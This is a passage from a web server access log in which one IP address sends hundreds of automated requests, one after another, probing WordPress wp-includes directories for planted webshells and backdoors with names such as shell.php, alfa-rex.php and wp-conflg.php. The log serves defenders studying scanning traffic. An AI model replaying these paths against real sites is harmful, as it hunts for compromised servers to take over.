-0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:21 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:22 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:22 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:23 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:23 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:24 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:24 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:25 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:26 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:26 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:27 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:27 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:28 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:28 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:29 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:30 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:30 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:31 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:31 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:32 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:32 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:33 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:34 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:34 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:35 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:35 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:36 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:36 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:37 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:38 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:38 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:39 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:40 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:41 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:41 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:42 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:42 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:43 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:43 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:44 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:44 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:45 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:46 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:46 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:47 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:48 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:48 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:49 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:49 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:50 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:50 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:51 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:52 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:52 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:53 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:53 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:54 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:54 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:55 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:55 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:56 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:57 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:57 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:58 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:58 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:59 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:59 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:00 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:00 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:01 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:02 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:02 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:03 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:04 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:06 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:07 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:08 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:09 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:10 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:11 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:12 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:13 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:14 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:15 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:16 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:17 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:18 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:18 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:19 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:20 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:20 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:21 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:22 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:22 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:23 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:24 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:25 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:25 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:26 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:27 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:28 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:28 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:29 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:30 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:30 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:31 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:31 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:32 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:33 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:33 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:34 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:34 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:35 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:35 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:36 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:36 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:37 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:37 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:38 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:38 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:39 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:40 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:40 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:41 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:41 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:42 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:42 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:43 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:43 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:44 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:44 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:45 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:46 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:46 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:47 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:47 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:48 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:48 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:49 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:49 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:50 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:51 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:51 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:52 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:52 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:53 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:53 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:54 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:54 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:55 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:55 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:56 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:57 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:57 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:58 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:58 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:59 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:25:59 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:00 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:01 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:01 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:02 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:02 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:03 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:04 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:04 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:05 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:05 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:06 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:06 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:07 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:07 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:08 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:08 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:09 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:10 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:10 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:11 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:12 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:13 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:13 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:14 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:14 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:15 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:15 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:16 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:17 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:17 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:18 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:18 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:19 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:19 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:20 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:20 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:21 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:21 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:22 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:23 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:23 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:24 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:24 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:25 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:25 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:26 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:26 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:27 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - 